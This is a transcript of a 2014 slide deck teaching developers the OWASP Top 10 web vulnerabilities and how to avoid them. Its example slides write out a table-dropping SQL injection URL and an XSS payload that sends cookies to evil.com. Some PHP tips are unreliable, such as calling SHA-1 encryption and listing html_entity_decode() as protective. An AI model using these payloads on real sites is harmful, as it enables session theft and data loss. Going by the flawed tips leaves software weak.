the top 10 security weakness (vulnerabilities) in web applications (owasp top 10)
DESCRIPTION
Hello Friends, This Is a presentation on OWASP(Open Web Application Security Project) top 10 key points. if we follow that rules we are able to create more secure system and prevent from different hackers and bugs.TRANSCRIPT
Prepared By : Rushit Brahmbhatt
Date: 10-07-2014
Mobile no: +91-8866115181
Company: Mxicoders Pvt. Ltd.
The Top 10 Security weakness in Web
Applications
IntroOpen Web Application Security Project
(OWASP)Top 10 Security VulnerabilitiesAvoidingPhp Tips
Agenda
What is OWASP?Website: http://owasp.orgWorldwide non-profit focused on improving software securityReaches out to ALL developers: not just security
professionals
Who am I?Bachelor in Computer Science And Engineering(GTU)Work as a PHP Developer since 1.5 YearEmployee of Mxicoders Pvt. Ltd.
What will you learn?The top 10 security mistakes that developers makeHow to design software with an assurance of security
Intro
1) Injection2) Cross Site Scripting3) Broken Authentication and Session Management4) Insecure Direct Object References5) Cross Site Request Forgery (CSRF)6) Security Misconfiguration7) Insecure Cryptographic Storage8) Failure to Restrict URL Access9) Insufficient Transport Layer Protection10) Invalidated Redirects and Forwards
OWASP Top Ten
Used when your app sends user-supplied data to other appsDatabase, Operating System, LDAP, Web
Services
Hackers "inject" their code to run instead of yoursTo access unauthorized data, or completely
take over remote application
1) Injection
Code expects a nice URL:http://example.com/products?id=123
Hacker could instead supply this:http://example.com/products?id=';+DROP+TABLE+'products';
Injection-Example
Always assume data coming in could be "evil"be sure to include "evil" use cases and user stories
in your design
Use an interface that supports bind variables (e.g., prepared statements, or stored procedures)
Encode all user input before passing it to the interpreter
If user-input text is needed, use parameterized queriesclean up quotes, parenthesis, and SQL comments
Avoiding
Sites must "cleanse" user input before displaying it
Hackers can create URLs to inject their own HTML onto the pagecan be used to do almost any kind of attack!!!
Steal user’s session, steal sensitive data, rewrite web page, redirect user to phishing or malware site
Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites
2) Cross Site Scripting
Code expects a nice URL:http://example.com/buy?item=123
But a hacker could supply this:http://example.com/buy?
item='><script>document.location='http://evil.com/steal/'+document.cookie</script>
Cross Site Scripting-Example
Never, ever, ever trust user-submitted content! URLs, comments threads, web forms
Properly "escape" any data before displaying it on web pages JavaScript parameters, URL parameters, STYLE elements Remove script tags, and possibly anything with a SRC
attribute Use ESAPI to "cleanse" your HTML
Do not allow state-change from HTTP GET requests Otherwise, an IMG tag could cause you to lose all your data
Set the HttpOnly flag in your response headers Prevents document.cookie from working in JavaScript
Avoiding
HTTP is a "stateless" protocol Nice and simple: HTTP request, HTTP response All data must be passed in the request every time
How do we store state? Client side with cookies Server side with sessions
Most apps place a "sessionId" in cookies, or in the URL Problem: User accounts compromised or user sessions
hijacked
Multiple ways to determine a session ID HttpReferrer logs, if sessionId is in the URL
3) Broken Authentication and Session Management
Assume that a user stole a session ID Determine how bad this would be in your application
Use SSL everywhere! Makes it harder for people to “sniff” your session ID
If you cannot use SSL everywhere, use it for logins Have a cryptographically strong session ID Verify that logoff actually destroys the session
Good sessionIds should be very difficult to re-use Embed user IP address, user name, timestamp, and a
secret Forces an attacker to spoof IP addresses to take over Prompt for re-login if IP changes during a session
Avoiding
This is part of enforcing proper “Authorization”, along with 7 – Failure to Restrict URL Access
Only listing the ‘authorized’ objects for the current user,
This is called presentation layer access control, and doesn’t work
Users are able to access unauthorized files or data
4) Insecure Direct Object References
Code expects a nice URL:http://example.com/profile/123
But a hacker could supply this:http://example.com/profile/124
Attacker views the victim’s account information
Insecure Direct Object References-Example
Eliminate the direct object referenceValidate the direct object reference
Verify the parameter value is properly formatted
Verify the user is allowed to access the target object
Verify the requested mode of access is allowed to the target object (e.g., read, write, delete)
Avoiding
An attack where the victim’s browser is tricked into issuing a command to a vulnerable web application
Vulnerability is caused by browsers automatically including user authentication data (session ID, IP address, Windows domain credentials, …) with each request
Impact : Initiate transactions (transfer funds, logout user,
close account) Access sensitive dataChange account details
5) Cross Site Request Forgery (CSRF)
All state change should require a unique token in the request
But if its in the URL, it's vulnerable! avoid reusable tokens
General solution:All state change requires HTTP POST, not a GETPut one-time token in a hidden field on the web formAfter POST, do a GET redirect to a confirmation page
What kind of token?Single-request tokens: safest, but a painSession-based tokens hashed with session ID and action
Require multiple-level authentication If an action looks fishy, re-prompt user for login
Avoiding
Most web applications depend on some kind of frameworkWeblogic, Spring, Ruby on Rails, Open Source
Libraries, Codeignitor, wordpress, joomla, cakephp.What if your framework issued a security patch?
Do you have a centralized policy for keeping dependencies up-to-date?
How long would it take you to discover new code?How long would it take to recompile/test/redeploy?
Do you know all security configurations in the framework?Odds are no... documentation is usually obtuse“Being helpful is a security hole”
Have you properly "hardened" your framework?Delete default users, disable unused services and ports
6) Security Misconfiguration
Subscribe to newsletters and blog feeds to get patchesInstall the patches as quickly as possible
Do periodic scans to detect missing patchesDisable features that are "nice" for
developers, but "nasty" for securityUse automation to ensure patches are up-to-
dateIf you can't verify it, it's not secure?
Avoiding
All applications store sensitive dataCredit cards, passwords, secure documents
How much "sensitive" data is in your log files?In general, or for exotic errors?
How are you preventing unauthorized access to these resources?
If somebody stole your backup tapes, how bad would it be?
7) Insecure Cryptographic Storage
If you store secrets, encrypt them!Use only battle-tested standard encryption algorithms
Analyze possible threats: inside attack, external userMake sure encryption policy is appropriate for the threats
Encrypt data anywhere it's stored long termEspecially backups!Store backups of decryption keys separately from data
Restrict access to decrypted data to only authorized users
Hash all passwords with a standard algorithm, and a "salt"
Use strong keys to access the informationCreate a password management policy, and stick with it!
Avoiding
Similar to #4: Insecure Direct Object ReferenceNeed to block specific actions, even if no
resource is identifiedAttackers invoke functions and services
they’re not authorized for Access other user’s accounts and data Perform privileged actions
8) Failure to Restrict URL Access
Code expects a nice URL:http://example.com/user/getAccounts
But a hacker could supply this:http://example.com/admin/getAccounts
Attacker views more accounts than just their own
Failure to Restrict URL Access-Example
For each URL, a site needs to do 3 things Restrict access to authenticated users (if not public) Enforce any user or role based permissions (if private) Completely disallow requests to unauthorized page types
(e.g., config files, log files, source files, etc.) Verify your architecture
Use a simple, positive model at every layer Be sure you actually have a mechanism at every layer
Verify the implementation Forget automated analysis approaches Verify that each URL in your application is protected Verify the server configuration disallows requests to
unauthorized file types Use WebScarab or your browser to forge unauthorized
requests
Avoiding
How is sensitive information sent from the user to your server?When they log in, or view sensitive data?
How do you send that information to other systems?JDBC call, Web Services, JMS, emails
9) Insufficient Transport Layer Protection
Use strong, standards compliant network security protocols
Use TLS (SSL) on all connections with sensitive data
Encrypt messages before transmissionXML-Encryption
Sign messages before transmissionXML-Signature
Disable old, flawed encryption algorithms (ie, SSL 2.0)
If HTTPS is impractical, at the very least secure the login process
Avoiding
And frequently include user supplied parameters in the destination URL
If they aren’t validated, attacker can send victim to a site of their choice
Sometimes called "phishing holes"
10) Unvalidated Redirects and Forwards
Restrict redirects to a limited number of "trusted" sites
Keep a list of all redirect URLs, and pass the ID in the request, instead of the URLhttp://example.com/redirect?urlId=123
Hash the URL with a secret, and pass the hash in the URLhttp://example.com/redirect?
url=google.com&hash=a1b2c3
Avoiding
Use CaptchaAlways Use Server side validationUse access tokenUse Salt keyUse Encryption AlgorithmsUse Database prefixValidate User Input
Some Genral methods to prevent all this things
html_entity_decode() - Convert all HTML entities to their applicable characters
htmlspecialchars() - Convert special characters to HTML entities
urlencode() - URL-encodes stringmysql_real_escape_string()-Escapes special charactersSh1()-defult encryption algorithmstrip_tags() – This function removes all the HTML,
JavaScript and php tag from the string.Intval- it is function which gets the integer value from
the variable
Some php function that helps you